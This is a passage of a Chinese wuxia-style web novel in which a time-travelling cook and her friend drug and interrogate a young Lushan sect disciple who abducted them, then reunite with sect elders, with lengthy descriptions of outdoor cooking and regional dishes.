“小年这外面雨也停了,要不我先同雪意聊聊,等下我让她给你赔礼道歉。”程六水化作假笑女孩道。 “不用她道歉的,我去找点东西吃,这都快到晌午了。”莫年低着头羞着脸走了,只留一树林的寂静。 唐雪意看着眼前程六水的比比划划,脑子嗡嗡响,一双手拄着脑袋都不管用。 “我俩喝醉了,然后跑去河边大喊?”唐雪意叹气道。 “对,你说要忘记乔四方重新开始,你应该是练过狮吼功的,那喊得鸟都吓跑了,我就在旁边给你一直鼓劲。”程六水继续假笑道,她就知道倒霉事总会有个不靠谱的开端。 “然后呢?怎么会和庐山派的人扯上关系?”唐雪意道。 “你声太大,那庐山派的莫年在附近听见了,还以为是你遭遇了什么不测在求救,正巧那时你在河边脚底一滑差点掉下去,那莫年可不就来英雄救美了。”程六水接着道。 “故事如果在这结束那也没什么事,但后来你一把拽住人家说什么再也不会相信话本子里救命之恩以身相许的屁话。你经历过说出这话正常,那莫年武功虽高人却不大,正是青春年少不谙世事的时候,偏生这人平时拽得跟二五八万似的,居然私底下就爱看些缠绵悱恻的话本子,你俩就吵吵起来了,然后……”程六水欲言又止道。 唐雪意被自己气笑了,“说吧,我还有什么接受不了的。” “你俩吵着吵着就打起来了,打着打着就不打了,不打了就互诉衷肠了,我已经记不得你们都说了些什么肉麻话,反正最后醉酒的你年少的他,手拉手肩并肩就差一起荡起双桨了。”程六水就算是半个局外人都不想回忆这段无比尴尬的一幕。 “别说了!真是喝酒误我!”唐雪意下定决心要封心锁爱,什么狗屁爱情莫挨老子。 “没事的雪意,我料想就算你同莫年挑明了只是酒醉误事,他也不会怎么样的。”程六水这回真心实意道,前有万家帮赵灵元,后有雪窦派裴然之,除了那个早就心有所属的愣头青乔四方,大概没人会真的忍下心来苛责唐雪意的,男人嘛年轻时受点情伤应该……没什么事吧? “那我们为何又会在这里?这儿是哪啊?”唐雪意环顾四周,只见远处飞流直下三千尺的瀑布缥缈壮观。 第35章 苋菜叫花鸡 “因为你要与我一同回庐山见师门。”莫年左手拎着只山鸡,右手抓了只兔子缓缓走来。 程六水摸了摸瘪瘪的肚子,心想这人年岁不大倒是个好猎手,能吃个饱饭了,“我来烤吧。”她顺手架起了火堆,正在磨石霍霍向鸡兔。 莫年未言语,只是将手里的小家伙递给了程六水,他乖巧地坐在唐雪意身旁,不远不近却满是情意,一双星眸恰似春水抚绿波,雪山寒梅开啊。 唐雪意眨巴眨巴眼睛道,“昨夜我饮酒饮多了,是我脑子糊涂了。” “你后悔了?你不是说不会不要我的吗?我是被掌门捡回来的孤儿,父母扔在路边没人要的,现下你也不要我了吗?”莫年怯怯地说道,眼神害怕极了。 “我哪里舍得啊,不要你我上哪去找你这样对我一心一意的少年郎。”唐雪意刹那间变了脸,本就娇美温婉的脸上更添几分情致,仿佛对着的真是个心心念念的儿郎。 那纤细的指尖轻轻划过少年白皙到极致的脸上,蜻蜓点水般触碰了几下,又故作姿态羞怯地垂下头,一双手悄悄握起了莫年的手掌心。 莫年激得浑身一抖,脸上引人怜爱的神色险些挂不住,浅浅呼气了几次才反握回去道,“只要你对我肯用心就好。” 这世上一切都是守恒的,有人在谈情说爱,就有人在负重前行。 程六水手脚麻利地将山鸡收拾好,这鸡成天在山里溜达,到处招猫逗狗的,长得十分结实简直可以称得上是只健美鸡先生了。 她解下了腰带上挂着的二三香囊,打开里面却不是什么香料,竟是什么珍稀的调料,这些都是她从码头上淘来的,本来买来想放在后厨好好大展身手,不曾想还没等放呢,就来了这荒郊野外。 一一摆开,好家伙迷迭香百里香野蜂蜜应有尽有,一旁还有一小瓶黑胡椒粉,最关键的是压轴出场的嘉宾——海盐。 程六水笑了,她望望天看看地,大片乌云早已被风吹散,只留一望无际的天边,未经雕琢的泥地没有板油马路的瓷实,却十分生动接地气。多好啊她程六水不仅能在古代做大厨,还能在这荒郊野外做法式迷迭香烤鸡。 马车里锋利的水果刀划开了走地鸡肥美的肚皮,散发着异国香气的香料一股脑地被塞进了去,盐巴胡椒粉均匀地洒在鸡肉上,最后再刷上一层甘甜的野蜂蜜。 柴火堆烧得正旺,树枝架起的天然烤架却没有迎来它的好伙伴烤鸡,程六水从地里挖来了长得郁郁 葱葱的野苋菜,里三层外三层地包裹住腌制好的鸡肉,每层苋菜也撒上盐巴刷上蜂蜜,苋菜散发着独有的清香。 最后取一最大的苋菜紧紧包住鸡肉,一把就丢进了泥巴里,雨水冲刷过泥土焕然一新,程六水将海盐混合其中,大海天然的咸鲜与无根之水交叠成出了别样的风味。 不远处一直在腻腻歪歪的莫年睁大了眼睛,不可置信地看着这一幕,他到底是拐来了两个什么样的女人啊,一个毫不避讳地对自己动手动脚了起来,一个在那滚泥球玩?这俩绝对不会是长老要找的人! “她……”莫年到底还是年轻,就算性情乖戾叛逆城府颇深,却也没能按捺住心中震惊道。 唐雪意顺着手指的方向看去,白眼差点没翻到天上去,自己在这里勉为其难地做戏,六水倒是逍遥,只见她单手举起那有盆大的泥球,一个大力抛掷直直就投进了柴火堆里早已挖好的坑中。 “耶嘿!进球了!”程六水自顾自地鼓起掌来,完全无视着旁边两人。 “她做菜好吃的。”唐雪意此刻只觉自己出的气多进的气少,就差气得倒地不起了,却还要为这不靠谱的厨子遮掩。 莫年敛起胸中的怀疑,咧着嘴夹着嗓子道,“都听姐姐的。” 这话顺着风声就传进了完美投球的程六水耳中,她不禁撇了撇嘴心中蛐蛐着,女人会撒娇男人魂会飘,男人会撒娇女人抡大锤,等会就拿泥球捶你! 程六水将处理好的野兔放在梨树枝上烤,地里随便寻来的野葱垫在兔肉下面,去腥解腻是再好不过的了。温暖炽热的明黄色火焰激发出了天然的果木清香,未经仔细腌制的兔肉飘散着原始肉香。 兔肉烤得稍稍熟便也涂上一层蜂蜜,油花滋滋作响最后撒上些许盐巴,焦香甘甜的梨木蜂蜜烤兔就做好了。 “怎么样确实不错吧,姐姐不会骗你的。”唐雪意轻轻扯下一个兔腿,作势就要喂给莫年。 莫年下意识闪躲道,“姐姐醒了这么久了,还是姐姐先吃吧。” “真乖。”唐雪意摸了摸他的下巴尖,轻启贝齿咬了口柔嫩多汁的兔肉。 见唐雪意吃了烤兔,莫年才放心下来也取了一只兔腿吃起来,这一吃当真是不得了,他行走江湖多风餐露宿,烤的野兔得有上百只了,竟没有一只比得上这兔腿的风味。 果香四溢衬得肉不腥不柴,外皮焦香酥脆内里嫩得鲜美异常,蜂蜜的甘甜正正好好地渗了进去,粗盐粒在其中爆炸开来,调味火候没有一处不好的。 “确实好吃。”莫年吃得就剩骨头了,才抬起头来说道,接着就被一块烤得干巴巴硬邦邦的大泥巴砸到了脸。 “你!”莫年的左脸顿时红成一片,下意识想要站起身子反击,不曾想不仅没站稳,甚至跌坐到了石头上。 “我?我怎么了?”程六水扒开了最后一块泥巴,苋菜叶里的叫花鸡嫩滑无比,远渡重洋的迷迭香不虚此行,为这道苋菜叫花鸡增添了普鲁士的风情。 莫年的头无比剧痛,犹如针扎水泼般难捱,幸亏他多年习武意志力惊人,勉强撑起身子猩红着眼眶道,“姐姐你骗我。” “弟弟别这么说,难不成你就是什么乖得不行的人吗?”唐雪意褪去方才的娇气可人,沁着嘴角笑得深不可测。 “呵是那兔腿?”莫年靠着石头缓慢开口道,每一个字都说得无比艰难。 “不不不小朋友,兔兔那么可爱我怎么忍心下毒呢,是这里的一草一木最喜欢你了,想和你玩个骗人就要付出代价的游戏。”程六水美滋滋地掰了片嫩到一晃就要散开的法式烤鸡胸吃着。 “我骗人?我哪里骗人了?”莫年自认没露出过什么马脚,这一路上装得就差成那哈巴狗了。 “你演得很好,只怪我有个朋友总喜欢酿酒,我没事就品鉴一二,一来二去这酒量就上来了。想必昨夜你将我们带走的时候,又灌了我们不少酒吧?却不想我还是醒得这般早,听到了你与你那师兄的交谈,万幸我听见了,才知江湖上威名赫赫的庐山派竟做些拐卖女子的勾当!”程六水直视着莫年,想看看这人还能胡诌些什么。 莫年眼神忽而闪躲,低下头来静默许久才道,“我一人做事一人当,与庐山派毫无关系。”说罢伸出痛到颤抖的手去抓住腰间的佩剑,竟想要拔出一死了之。 这给唐雪意吓得,一个泥巴块又扔过去了,将那剑砸得远远的,“你这人就是个疯子!” “疯子又如何,反正我不是被你们毒死,就是在被扔在这山林里喂野兽,有什么区别吗?”莫年冷言道。 “那还是有区别的,我没想毒死你,你中得不过是鄙人独创的灵丹妙药——肌香玉骨方,取了桂枝,白参,桃仁,何首乌十几种药材磨成粉末,在肌肤上一抹便能使人瞬间肤白胜雪,当真是买不了吃亏买不了上当啊。”程六水说到兴处,还站起来高举双臂振奋道。 话锋一转接着说道,“但你应该没什么用处,你这皮肤太好了,吹弹可破跟那煮熟的蛋清一样,还得是年轻啊。” “咳咳!”唐雪意都要听不下去了,这话题怎么越跑越偏,她们是要套这小子话,不是在这卖药的。 程六水心虚地咧开嘴笑了笑,看着已然半死不活的莫年说道,“说起来还得感谢你呢,我最近脑子好使很多,前两天刚想起这方子做成带在身上,准备推销一二。没想到遇见了你,我一下子脑子更好使了,想起来这方子与一物相克,这里就有,两者一混合就成你现在这样了,更巧的是解药这里也有哦~” 莫年听了这话仍旧默不作声,仿佛已然笃定要打死不开口了,哪怕真死在这里。 唐雪意这才正襟危坐道,“你出自庐山派,年岁不大武功却高,如此身手就算再天赋异禀,没有人点拨也是不成的,十年前庐山派莫掌门收了一关门弟子,随了他也姓莫。可惜莫掌门重病缠身多年,只剩一口气吊着,视他如父如兄的小弟子只能铤而走险,听信邪术去寻年轻姑娘延续莫掌门的性命。 要是莫掌门有一天醒来,见他献出半生心血的庐山派竟成了如今正不正邪不邪的样子,该作何想?怕是要再一头撞死吧。” 莫年咬着牙倔强的泪含在眼圈里迟迟不肯落下,虽动弹不得仍旧努力抬起手来妄图堵住面前二人的嘴,“不许辱没掌门!” 第36章 肌香玉骨方 哦豁我滴个乖乖,难不成真是这样,程六水掩饰住心中的震惊,雪意这一番言辞只不过是为了诈诈这个少年,没想到竟弄巧成真了。 唐雪意转头看向程六水,挤眉弄眼地无声说道,“真是这样!” “既如此你直接将我们掳走便可,何必假情假意地还演上这么一遭?”程六水好奇问道。 莫年又沉默不语了,猩红着眼尾甚至闭上了眼睛。 程六水不得不感叹庐山派这般行事确实是疯狂至极,可门中弟子武功高嘴严,对师门的荣辱看得比自身性命还重,怪不得庐山派前些年如此声名远播,那掌门定是有两把刷子的。 她的记忆中,多年前庐山派也曾与程门打过交道,却与兵器机关无关,而是采买了一批罕见的药材。 程门隐藏在庐州某处的一座深山中,后山草木旺盛地气甚好,某一代门主爱研制药方,便在此处开辟了一方药园,种上了许多珍稀草药。故而程门后人多多少少皆通药理,自然了程六水这个丢失了关键记忆的家伙,是前几日才想起来的。 而让莫年痛苦不堪的肌香玉骨方,则是程六水顺手取了些杜少仲菊花白酒的药材做成的,自己试用后格外的好,她都想拿出去买了赚大钱! 至于当年庐山派采买的那批药材,程六水只记得父母曾暗自揣测庐山派是否出了事,不然怎会要这么多救命救急的灵药。她想,或许在许多年前庐山派掌门就已察觉身体不对了,撑着病弱的身体将庐山派发扬光大,确实当是一代英雄豪杰。 但英雄豪杰的命也不能用无辜女孩的命来换吧! “你若是再不说,知道此事就不是我们两个了,而是整个江湖。”程六水再次威逼道,此事确实疑点重重,可这少 年到底没有伤着她们,甚至还做小伏低了一番。 莫年猛地抬头,显然他不怕死,但他怕师父耗尽心血的庐山派毁了,“我得了长老之命,子月子时寒水之地寻一女子带回,此人便是可救命之人。许多师兄弟皆被派出,先前两年均带回了不少女子,可无一人能与师父过了血契,我们只能将她们送回,期间送上无数金银财宝,她们才承诺不再提及此事。” 子月子时?血契?程六水眼睛都冒亮光了,你看看谁说穿越就只能做饭啊?这不还能身临其境体验玄学吗?她就说她不能只是个在后厨颠大勺的NPC吧! 紧接着程六水肩膀一重,唐雪意紧紧按住了她,实在是不怪唐雪意,任谁见了好端端个人忽而眼冒金光,神情飘忽甚至还有一丝莫名的兴奋,都得赶紧制止住程六水。 毕竟她与程六水交情不长,都能发觉此人的脑袋多多少少是同旁人不同的,大抵这就是缺根筋吧。 “咳咳,那你为什么不给我们金银财宝?”程六水心虚地咳了两声质问道。 “……长老说没钱了,让我们自力更生,师兄们说出卖色相也能成,带女子上了山见长老,若不是掌门的命定之人我就试了试,没想到第一次就遇到了你们俩。”莫年脸色微红道。 “该说不说,你这个色相还是不错的。”程六水拉着唐雪意走进,仔仔细细地端详起莫年来,眼若桃花神似艳李当真是个唇红齿白的俏郎君,身量如竹柏般挺拔待到过几年,长得只怕要更好。 莫年不敢抬头,这目光虽不露骨却直白,自己如同砧板上的鱼肉,被人翻来覆去看了个遍,得了句称赞“好鱼”。 “这么说来,庐山派倒也不算丧心病狂,顶多是病急乱投医,赔钱还赔人。”唐雪意抿嘴道,给程六水递了个眼神。 “好吧好吧。”程六水一把掰开莫年的嘴,几片深褐叶子就被扔了进去,差点给莫年噎死。 “一个时辰后,你这毒便解了,我不能与你在这里瞎扯了,我还要回去赚钱呢。”程六水说罢,就套了马要往回跑。 “别……别走,我要带你们去见长老,万一你们便是长老要找的人呢。”莫年服下草药便好了不少,只不过还是全身无力,无法调用周身功法。 “哦,那你有钱给我们吗?”程六水仰着头一脸期盼道。 “……没有。”莫年别别扭扭地脸更红了。 “没有见什么见!雪意我们走!”程六水潇洒就要离去。 忽而山林间狂风大作,本就摇摇欲坠的大片叶子哗啦啦掉落一地,澄蓝的天空顿时乌云密布,阴沉沉地仿佛在发火。 只见一人仙风道骨地斜坐在一只通体雪白的公牛之上,那白牛越跑越急见了风更是自乱阵脚,前蹄打后蹄的,自己跟自己较上了劲。 而牛背上的人再也端坐不住了,只得死力抓住牛角操控着方向,一身素白长袍扯得乱七八糟,特意留得两缕长长白胡须都快刮到脸后面去了,“让开让开!” 程六水吓得躲在唐雪意身后,荒山野岭哪来的疯牛疯人。 那白玉牛并非径直地而来,天地万物皆有自身灵性,这不白玉牛绕着先前搭起的柴火就绕起了圈,速度之快令人瞠目结舌,毕竟这牛一看就平日里没少吃,都算得上是一头肥肥牛了。 “啊!救命啊!”牛背上的人这回使劲夹着牛腹也用不上力气,只能踹到白玉牛肥美可爱的脂肪肚肚。 莫年此时站了起来,纵使虚弱无力,仍是拄着手中的剑,顶着嗷嗷吹的大北风,意图阻止白玉牛的发疯。 所有生灵在此刻都凌乱着,狂风重重拂过焦黑的柴火,本该猖狂蔓延的火苗生生被白玉牛绕没了生气,最终居然真的在苦苦支撑的莫年面前停了下来。 “长老您怎么下山了?”莫年一瞬间卸了力,直直倒在地上,还不忘开口询问道,言语中皆是毕恭毕敬,与先前面对那些师兄的态度截然不同。 庐山派长老张立冬慢慢地从白玉牛身上下来,将自己的胡须捋直,头发摆正,长袍收拾得妥帖后才答道,“我掐指一算,便知你定是遇上难事了,这不才牛不停蹄地赶过来嘛。” “不过是玩闹一场,弟子已然无大碍了,辛苦长老专程跑下来一趟。”莫年颔首谦恭道,身子却故意挡在唐雪意与程六水的身前,生怕长老责怪这二人。 可惜唐雪意却丝毫没看出少年的良苦用心,大大方方拱手行礼道,“晚辈雪窦派唐雪意见过张长老。” “原是雪窦派的,难怪我瞅你眼熟。”张长老含笑如长辈般笑道。 “晚辈半年前有幸在雪窦山远远拜见过长老。”唐雪意弯唇一笑,乖巧地如同方才什么下毒威逼利诱都没发生过。 一旁的莫年刹那间瞪大了眼睛,久久未移开目光,满心满眼全是震惊,唐雪意居然是雪窦派的师姐,自己竟然掳走了与庐山派有千丝万缕关系的雪窦派中人。 他识人不清甚至妄图欺骗女子情感来蒙混过关,这其间种种如何还能有脸在她面前待着,愈想愈发觉着羞愧,恨不得现下就找个地缝钻进去。 张长老却并未在意,仍在和颜悦色地问话道,“这次来庐山可是有事啊?想来冬至之期快到了,有什么不顺之处吗?” 唐雪意不经意瞟过低头都快低到柴火堆里的莫年,心中便有了计量道,“一切皆是顺利,只是在江陵遇上了莫师弟多聊了两句,听闻隆冬时节庐山景色美不胜收,我便随师弟前来瞧瞧。” 莫年又是心下一紧,顿时五味杂陈了起来,她非但不提那些蝇营狗苟,竟还帮自己周全遮掩,被磋磨了许久的少年居然此时生出了无尽的感激之情来。 “江陵?”张长老颇有意味地重复问道。 “正是江陵,此次我早早到了江陵,方知此处是样样都好,尤其美食佳肴最佳,这位便是我在江陵办事时结识的程六水。”唐雪意引着程六水上前道。 “见过长老了,小女子江陵十全酒楼程六水。”程六水落落大方道,她在此人身前方才察觉,这位长老年岁似乎并不大,将将过而立之年而已,乌发俱黑唯独两捋长胡须是白的,这才平白添了不少年纪。 张长老一听此话连连退后几步,“你说你是什么酒楼的?” “十全酒楼。”程六水口齿清晰地重复道。 张长老此时哪里还能继续与小辈寒暄,整个人就差抱头鼠窜了,迈开腿就要去找刚才把他甩下来的大胖牛,“哎呀我不能和你们多说了,我得回山上了好多事呢!” “长老?长老您不捎我一段吗?”莫年腿还软着呢,他不得不抬起头出言道。 “小年年,你可以的你带着两位姑娘好好逛逛啊,我先走了。”张长老说罢夹起牛肚往山上跑去。 结果没走两步,就听身后传来了震彻山林的熟悉声音,“这么多年了,立冬师兄还是如此,见到我就跑,莫不是我得罪过你?” 张长老立时呆滞住了,而那白玉牛也不听他的话,压根就往前跑,他静默许久仿佛是装作自己是颗树,直到眼前出现了熟人,才勉强开口道,“清寒许久未见啊,你又长高了。” 第37章 山楂冰糖葫芦 程六水被张清寒一把拉到身后,宽厚的肩膀直直挡在她眼前,什么也看不见,只能听见张长老声音都是颤抖的,不禁腹诽道,什么又长高了?东家都多大了还在长啊?长成窜天猴得了。 “师兄风采依旧,依旧长须飘飘颇有出尘之感。”张清寒笑道,心下却很是担忧,欲立时就转头看看程六水有没有哪里伤到了。 “哪里哪里,我不过是闲云野鹤惯了,不修边幅了些。”张立冬讪讪笑道。 “师兄不必诳我,江湖八大派之首的庐山派怎会是闲云野鹤的地方,更何况莫掌门重病不起,你作为长老已然是代掌门了。”张清寒显然是来的路上调查过了,顺藤摸瓜才查到了自家不靠谱的师兄竟做了一派的长老。 那时正是天光大亮,一帮人三三两两地睡哪的都有,杜少仲趴在酒缸里睡了一夜,马陶陶依偎在乔四方身旁赖着起不来,就张清寒还算是体面,知道要回房睡,只不过是直接醉倒在了自己卧房的地上。 第一个醒来的是万事都谨慎小心的赵玉雨,她趴在桌子上睡得浑身腰酸背痛,刺眼的艳阳照在眼皮上,眼皮挣扎了几个回合,最终也只能败下阵来,从黑甜的梦乡里逃脱出来。 赵玉雨摇摇昏沉的脑袋,眼前一片重影,她迷迷糊糊地伸出纤细食指,决定数一数大堂里有几个人,一个两个三个,数着数着就又重影了,她只得出声道,“六水你快帮我看看,不会数数了。” 回应她的是大堂里的清澈的回声,马陶陶被这出声吵醒了,揉了揉睁不开的眼睛道,“玉雨你说啥?” “我说啥?我也忘了我说啥了,对我在找六水,六水我没见着,陶陶你倒是有两个了。”赵玉雨难得懵懵的,撑起脸庞道。 “六水?”其余几人也行了,纷纷环顾四周,发现六水居然真的不见了。 而裴然之则发现自己的小师妹亦无影无踪了,急得瞬间头不晕脚不软了,急吼吼地去敲张清寒房门,“咚咚咚。” 张清寒撑着苍白的脸缓慢地开了门道,“裴少侠,这么早有何事?” “我师妹不见了,六水姑娘也不见了。”裴然之急切道。 张清寒顿时那脸彻底没了血色,素来沉稳的步伐竟有一丝慌乱,带着所有人将酒楼里里外外翻了个遍,也没找到这二人的存在。 “不会是仇家寻仇吧?”杜少仲心急地揣测道。 “六水平日里就在酒楼忙活着,她哪有时间得罪仇家啊。”马陶陶立马摇头道。 “那是不是和唐女侠出去玩去了,玩了一夜就睡外面了,咱昨天喝了那么些酒,且醒不过来呢,”乔四方皱眉道。 张清寒静静坐在椅子上一言不发,面上半点表情也没有,仿佛在听大家七嘴八舌地分析着,又仿佛是在等什么人。 忽然紧闭的酒楼大门被敲响了,那敲门声不大不小间隔不短不长,众人顿时都不吵吵了,坐在最外边的杜少仲对着门喊道,“今日酒楼歇业,客官明日再来吧。” 话落地没几瞬,又传来了敲门声,乔四方立起眼睛试探地看向张清寒,张清寒点了点头,平日里看起来愣头愣脑的乔四方马上心领神会,快步走上前去打开了酒楼大门。 门外是一粗布麻衣的年轻男子,最不起眼的长相,放在大街上没人会注意甚至见了几面都还认识。 男子略过诸人,恭敬地向张清寒颔首,紧接着从衣袖中取出了一密信交给了乔四方,连门都没进就径直走了,眨眼间便隐没在人群中,再难寻其踪迹。 张清寒打开那密信的瞬间便坐不住了,他转身朝着裴然之道,“裴少侠烦请随我一同去个地方,其余人留在酒楼里好好休息。” “东家我也跟你们一起去吧。”乔四方虽不知那密信中写了什么,却明白自己断不能躲在后面当缩头乌龟。 “不必,我与裴少侠便能应付得了,你留下来保护大家,若是有什么意外去城外李子坞。”张清寒拍了拍他的肩膀道。 张清寒与裴然之两匹快马就朝着庐山方向行进着,沿途路过驿站,便有人送上休息得当的千里马以及最新的情报,直到到了庐山脚下最后一处驿站,张清寒见着密信终于笑了。 这个惯会捉弄人的促狭鬼,在人生地不熟的荒郊野外还能捉弄别人给人下药,真是胆大妄为。 裴然之见张清寒笑了,他这七上八下的心也算是放下了道,“她们没事了?” “暂时没事了。”张清寒微笑道,正欲出发上山不曾想,又有一人小跑前来,神情比前几次来送信的人慌张许多。 张清寒半刻不敢耽误,只得打开只见几个大字,“庐山张立冬长老”。 立冬是个节气,也可以是个人,张姓则是芸芸众生里最普通最不起眼的姓,如此名字的组合便觉此人不过是个寻常人而已。 其实不然,六白山上取名便是如此,赵钱孙李周吴郑王,随便找个人多的姓氏,见花好便唤李花花,见月好就叫钱月牙,自然了张立冬张清寒这些个名字也是怎么得来的。兴许是六白山一年里有半年都是冰雪覆盖的,山门里的孩子们就都是什么冰啊雪啊,反正起的都是一听天就冷的名字。 而这位立冬师兄比张清寒年长好几岁,他根骨不佳打拳只能打喵喵拳,读书犯困摇头晃脑直接能砸桌子上,甚至有次站着背书都能睡着,差点就一头扎进窗外的冰窟窿里。 文不成武不就,立冬师兄便去学了医道,把脉三个月还是没找着脉,让他一摸整个六白山就没几个活着的了。 直到他遇着了六白山里一位深居浅出的师父,那师父教他五行八卦卜算风水,不出几年竟真有所成,而且立冬师兄还有一天赋异禀之处,那便是运气极好,总能化险为夷。 就比如他曾经做了一处山楂树阵,一不留神踏入集中便必须按照八卦风水阵才能走出,若是随便走来走去那就只有被这变幻莫测的阵法折磨得饿肚子了。 当年年纪尚轻的张清寒还没板凳高,板着张脸在太白山上练剑,再一抬头好家伙周围怎么全是山楂树,天寒地冻的时节,小小的张清寒只能不停练剑动起来,才不至于冻得硬邦邦的,饿了就吃树上的山楂。 最可气的是这位立冬师兄拿什么果树做阵不好,非得是那山楂,张清寒越吃越开胃,饿得肚子咕噜噜叫个不停。 困了整整一天一夜,企图用卜算来提升牌运的立冬师兄才姗姗来迟,张清寒那脸上头发上全都是碎冰茬,依旧板着一张脸默不作声。 这可把立冬师兄吓坏了,将他带回自己院子里好一顿暖和,多烧了好几个炭盆,但过了好一会儿,也不见张清寒说话。 立冬师兄生怕真把这小子脑袋冻坏了,用他那一瓶子不满半瓶子也不满的医术一把脉,完了!这小师弟的三魂六魄都快没了。 “师弟啊都是我的错,你可别死啊,师兄还不知道你叫啥名呢,我都不知道把你往那送啊。”立冬师兄一阵鬼哭狼嚎,鼻涕泡都出来了。 “……没死,我叫张清寒,我记住你了。”幼时的张清寒就是不爱说话的性子,而且非常记仇。 随后立冬师兄终于体会到了什么叫人小本事大,自己就差被整得体无完肤了,直到后来张清寒渐渐长大了,许是哪一日练剑的时候,体会到了什么叫做同门情谊。 张清寒主动送了一个大果篮给立冬师兄,立冬师兄本来美滋滋地接了过去,觉着这小子还算孺子可教,结果果盘里有……山楂。 于是立冬师兄打着铺盖卷就下山历练去了,小时候的张清寒顶多就是给他饭里倒石子,但长大后的张清寒剑术一绝,打自己这个肩不能扛手不能提的师兄,可不是能一剑串俩嘛,就跟那山楂冰糖葫芦一样。 庐山脚下能见着这位师兄的名字,张清寒顿时放心了下来,年少时的玩闹折腾令他深知,这位师兄人不坏就是脑子有点傻,六水在他手底下没什么事,说不定六水也能给立冬师兄下个药。 而凭借一身卜算风水本事当上庐山派长老的立冬师兄抹了抹额间吓出的冷汗道,“师弟啊,你就饶了我吧,我这些年总梦见你给我饭里倒石子,梦里我那满口牙都掉没了,给我吓得成宿成宿睡不着。” 张清寒这回是真笑了,“师兄我此次不是来找你麻烦的,只是我的……朋友失踪了,我一路追过来,碰到师兄当真是巧合,而且你放心现在我是不会再往你饭里放石子了。” “失踪了?你说的朋友不会是这位程姑娘吧?她不是和唐师侄一同来游览庐山的吗?莫年你说说这到底是怎么回事?”立冬师兄满脸怀疑地看向正在默默缩小自己存在的莫年道。 第38章 利村牛肉 纸是包不住火的,更何况是油纸,莫年只得老老实实地交待事情原委,满脸羞得通红不知所措,再怎么城府颇深也还是个十六七岁的江湖少年。 立冬长老眉毛听得越来越皱,嘴角却止不住地上扬,你还真别说那莫老哥收得小徒弟真有意思,送上门去做人家雪窦派上门女婿,结果没做成还被下了药,瞅这天可怜见的,现在走道还不利索呢。 向右转过头正想同人一起吃瓜,结果旁边站得正好是张清寒 ,心里那点子八卦心态全被怒火拱走了,要不是那小子哪能找来清寒师弟这煞星,可恶着实可恶! 立冬长老抬起手就想去揍莫年,忽而遇上一股莫名的阻力,左边一只手伸过来道,“长老吃瓜子吗?我昨天刚炒的焦香干脆!” “吃!”立冬长老是个从不委屈自己的主儿,比起给那小子一巴掌自己的手掌也得疼,还不如嗑瓜子看戏呢,哎刚才溜号演到哪了? 莫年正别别扭扭地向唐雪意道歉,唐雪意抿着嘴说道,“不妨事的,你以后可别再这样了,同人家姑娘好好说,总有人热心肠的愿意帮忙的。” 她语气温温柔柔的,如一道明媚的骄阳笼罩在莫年隐隐有些阴暗的心上,莫年克制住自己忍不住想要靠近的冲动,可惜少年的心意哪是那么容易隐藏的。 “莫师弟年纪还小,还需历练,我们雪窦派欢迎你随时来做客。”裴然之快步走到了唐雪意身旁,甚至挡住了两人交汇的视线。 “啧啧啧。”程六水暗暗摇头小声道,这不就是雄竞修罗场吗?年下直球狼狗不错,年上温柔引导型恋人也挺好,她决定要和雪意做一辈子的挚友,这样每天的生活都会非常缤纷多彩。 正当她还沉浸在对未来的美好幻想中时,只听耳边传来了清冷的声音,“立冬师兄,若是你真的找到了那命定的女子,你又意欲何为呢?如何能救莫掌门?还有你怎知谁才是你卜算中的女子?”张清寒好奇道,他素来不擅这些五行八卦,现下倒是静下心来想听年少的仇敌说上一二。 立冬师兄故作高深地若有所思道,“正可谓道生一,一生二,二生三,三生万物……” “说人话。”张清寒不假思索打断道。 “我不知道,就算见到了或许我也不识得,但这些女子被带上山来就是与莫老哥结下因果,这因果终将随着命运的流转回到莫老哥身上,总有一日莫老哥会因她们其中一个醒来。”立冬长老耸肩道。 “听不懂。”张清寒面无表情地看着立冬师兄道。 “我听懂了,莫掌门一定会醒,也许很快也许很慢,这都看个人缘法。”程六水举起手抢答道。 “程姑娘不想你居然有如此慧根啊,当真是孺子可教也,你不该去做什么厨子,你若是拜我为师,不出十年定能有所大成。”立冬长老说着又从程六水的口袋里抓了把瓜子嗑起来,真好吃啊! “?”张清寒挑着眉紧盯着立冬师兄,一双眼睛如毒蛇般要咬死他。 “不必了不必了,我哪里有什么慧根啊,还不是见了您哎呦那就好像天灵盖都通气了,腿不疼了手也不酸了,脑子还比以前好使了,这都是您的大智慧啊。”程六水咧着嘴就开始叭叭叭,那哄人的话都快飞到天边了。 立冬长老听了这一席话不禁快要老泪纵横了,这么多年了终于有人能懂自己了,恨不得现在就将一身本领传授给程六水,刚想上前拉她拜师,就撞上了突然出现在身前的张清寒。 “你要做什么?”张清寒立着眼睛没好气道。 “收徒弟啊,师弟你靠边!”立冬长老兴奋劲一上来,都忘了纠缠他颇深的少年阴影了,也不把张清寒当外人了。 “师兄我好不容易来你的地盘一趟,你不招待招待我?”张清寒冷着脸道。 立冬长老这下才反应过来,这小清寒是生气了?生哪门子气啊?算了算了还是顺着点他吧,毕竟现在整个庐山派就没有能打得过他的。 “招待肯定招待,走咱去吃香的喝辣的,穿金的戴银的!”立冬长老一把翻上了大肥牛,余下几人各自上马跟着他就上了庐山。 庐山派坐落在一片竹林之中,穿过七拐八拐的竹林终于来到了一处巨大的楼宇间,三五成群的弟子们在此处研讨武学比试剑法,好不热闹,见着立冬长老皆点头行礼。 “这里便是庐山派的讲学堂了,绕过此处便是品味居,是门派中人衣食住行之所在,也就无需弟子们总是下山买些小玩意了。”立冬长老引着大家来到了品味居的僻静后院。 不多时,就一桌子菜就上齐了,程六水兴致勃勃地一道道仔细研究了起来,她自从穿越来这就当厨子,还没怎么吃过别的厨子做菜呢,俗话说三人行必有我师,单单只闷头哐哐做菜可不行,还要多……吃别的厨子做的菜! 此处用的盘子极大,但与北方层层堆叠不同,这里更偏向于将菜码满在盘子里,入目便是一片红艳,各式各样的辣椒仿佛用了个遍,空气中似乎都充斥着辛辣的味道,不断地刺激着在场所有人的味蕾。 “吃大家随便吃!”立冬长老最不爱搞那些虚头巴脑的,指挥着大家动筷起来。 程六水一筷子就近夹起一块鲜红的肉丁,入口便是满嘴的喷香鲜辣,这辣是直冲嗓子眼的,可偏偏这辣得有滋有味,原来这肉丁竟是鸭肉,切成小小一块与干辣椒搭配在一起,格外合适。 她再用勺子舀起一勺鸭肉,这才发觉不仅有紧实有嚼劲的鸭肉,还有鲜嫩至极的鸭血在其中,程六水脑海里瞬间就蹦出了这道菜的名字“莲花血鸭”。 程六水曾经也学过这道菜,可后来却不常做了,原因便是这菜对鸭子的品种新鲜程度有很高要求,要选莲花县当地的麻鸭,鸭血也是要极为新鲜,现代那种速成的鸭血是做不成这道菜的。 